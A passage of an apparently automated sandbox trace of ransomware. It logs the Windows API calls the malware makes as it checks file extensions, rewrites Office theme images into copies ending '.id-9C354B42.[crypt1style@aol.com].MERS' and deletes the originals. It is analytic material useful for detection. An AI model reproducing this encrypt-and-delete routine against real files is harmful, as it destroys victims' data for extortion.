Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.593] lstrlenW (lpString=".zip") returned 4 [0047.593] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.593] lstrlenW (lpString=".rar") returned 4 [0047.594] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.594] lstrlenW (lpString=".bz2") returned 4 [0047.594] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString=".7z") returned 3 [0047.594] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.594] lstrlenW (lpString=".dbf") returned 4 [0047.594] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.594] lstrlenW (lpString=".1cd") returned 4 [0047.594] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.594] lstrlenW (lpString=".jpg") returned 4 [0047.594] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.594] lstrlenW (lpString=".doc") returned 4 [0047.594] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString=".docx") returned 5 [0047.594] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.594] lstrlenW (lpString=".pdf") returned 4 [0047.594] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.594] lstrlenW (lpString=".xls") returned 4 [0047.594] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.594] lstrlenW (lpString=".xlsx") returned 5 [0047.594] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.594] lstrlenW (lpString=".ppt") returned 4 [0047.595] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.595] lstrlenW (lpString=".zip") returned 4 [0047.595] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.595] lstrlenW (lpString=".rar") returned 4 [0047.595] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.595] lstrlenW (lpString=".bz2") returned 4 [0047.595] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.595] lstrlenW (lpString=".7z") returned 3 [0047.595] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.595] lstrlenW (lpString=".dbf") returned 4 [0047.595] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.595] lstrlenW (lpString=".1cd") returned 4 [0047.595] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.595] lstrlenW (lpString=".jpg") returned 4 [0047.595] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.595] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.595] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.596] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=31837) returned 1 [0047.596] CloseHandle (hObject=0x1f8) returned 1 [0047.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0047.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.597] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.597] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.597] GetLastError () returned 0x0 [0047.597] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0047.676] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0047.677] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.677] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.677] SetEndOfFile (hFile=0x20c) returned 1 [0047.678] CloseHandle (hObject=0x20c) returned 1 [0047.678] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.678] SetEndOfFile (hFile=0x1f8) returned 1 [0047.679] CloseHandle (hObject=0x1f8) returned 1 [0047.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.679] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0047.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.679] lstrlenW (lpString=".doc") returned 4 [0047.679] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.679] lstrlenW (lpString=".docx") returned 5 [0047.679] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.679] lstrlenW (lpString=".pdf") returned 4 [0047.679] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.679] lstrlenW (lpString=".xls") returned 4 [0047.679] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.679] lstrlenW (lpString=".xlsx") returned 5 [0047.679] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.679] lstrlenW (lpString=".ppt") returned 4 [0047.679] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.679] lstrlenW (lpString=".zip") returned 4 [0047.679] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.679] lstrlenW (lpString=".rar") returned 4 [0047.680] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.680] lstrlenW (lpString=".bz2") returned 4 [0047.680] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.680] lstrlenW (lpString=".7z") returned 3 [0047.680] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.680] lstrlenW (lpString=".dbf") returned 4 [0047.680] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.680] lstrlenW (lpString=".1cd") returned 4 [0047.680] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.680] lstrlenW (lpString=".jpg") returned 4 [0047.680] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.680] lstrlenW (lpString=".doc") returned 4 [0047.680] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.681] lstrlenW (lpString=".docx") returned 5 [0047.681] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.681] lstrlenW (lpString=".pdf") returned 4 [0047.681] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.681] lstrlenW (lpString=".xls") returned 4 [0047.681] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.681] lstrlenW (lpString=".xlsx") returned 5 [0047.681] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.681] lstrlenW (lpString=".ppt") returned 4 [0047.681] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.681] lstrlenW (lpString=".zip") returned 4 [0047.681] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.681] lstrlenW (lpString=".rar") returned 4 [0047.681] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.681] lstrlenW (lpString=".bz2") returned 4 [0047.681] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.681] lstrlenW (lpString=".7z") returned 3 [0047.681] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.681] lstrlenW (lpString=".dbf") returned 4 [0047.681] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.681] lstrlenW (lpString=".1cd") returned 4 [0047.681] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.682] lstrlenW (lpString=".jpg") returned 4 [0047.682] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.682] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.682] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.692] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=43276) returned 1 [0047.692] CloseHandle (hObject=0x218) returned 1 [0047.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0047.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.692] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.692] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.692] GetLastError () returned 0x0 [0047.692] ReadFile (in: hFile=0x218, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0047.744] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0047.746] ReadFile (in: hFile=0x218, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.746] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.746] SetEndOfFile (hFile=0x1f8) returned 1 [0047.746] CloseHandle (hObject=0x1f8) returned 1 [0047.747] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.747] SetEndOfFile (hFile=0x218) returned 1 [0047.748] CloseHandle (hObject=0x218) returned 1 [0047.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0047.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.748] lstrlenW (lpString=".doc") returned 4 [0047.748] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.748] lstrlenW (lpString=".docx") returned 5 [0047.748] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.748] lstrlenW (lpString=".pdf") returned 4 [0047.748] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.748] lstrlenW (lpString=".xls") returned 4 [0047.748] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.748] lstrlenW (lpString=".xlsx") returned 5 [0047.748] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.748] lstrlenW (lpString=".ppt") returned 4 [0047.748] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.748] lstrlenW (lpString=".zip") returned 4 [0047.748] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.748] lstrlenW (lpString=".rar") returned 4 [0047.748] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.749] lstrlenW (lpString=".bz2") returned 4 [0047.749] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString=".7z") returned 3 [0047.749] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString=".dbf") returned 4 [0047.749] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString=".1cd") returned 4 [0047.749] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString=".jpg") returned 4 [0047.749] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString=".doc") returned 4 [0047.749] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString=".docx") returned 5 [0047.749] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.749] lstrlenW (lpString=".pdf") returned 4 [0047.749] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString=".xls") returned 4 [0047.749] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.749] lstrlenW (lpString=".xlsx") returned 5 [0047.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.749] lstrlenW (lpString=".ppt") returned 4 [0047.749] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.749] lstrlenW (lpString=".zip") returned 4 [0047.749] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.749] lstrlenW (lpString=".rar") returned 4 [0047.749] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.749] lstrlenW (lpString=".bz2") returned 4 [0047.749] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.749] lstrlenW (lpString=".7z") returned 3 [0047.749] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.750] lstrlenW (lpString=".dbf") returned 4 [0047.750] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.750] lstrlenW (lpString=".1cd") returned 4 [0047.750] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.750] lstrlenW (lpString=".jpg") returned 4 [0047.750] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.750] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.750] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.862] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2044) returned 1 [0047.862] CloseHandle (hObject=0x1a8) returned 1 [0047.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0047.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.863] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.863] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.863] GetLastError () returned 0x0 [0047.863] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0047.974] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x800, lpOverlapped=0x0) returned 1 [0047.975] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.975] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.975] SetEndOfFile (hFile=0x204) returned 1 [0047.975] CloseHandle (hObject=0x204) returned 1 [0047.975] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.975] SetEndOfFile (hFile=0x1a8) returned 1 [0047.976] CloseHandle (hObject=0x1a8) returned 1 [0047.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0047.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.977] lstrlenW (lpString=".doc") returned 4 [0047.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.977] lstrlenW (lpString=".docx") returned 5 [0047.977] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.977] lstrlenW (lpString=".pdf") returned 4 [0047.977] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".xls") returned 4 [0047.977] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".xlsx") returned 5 [0047.977] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.977] 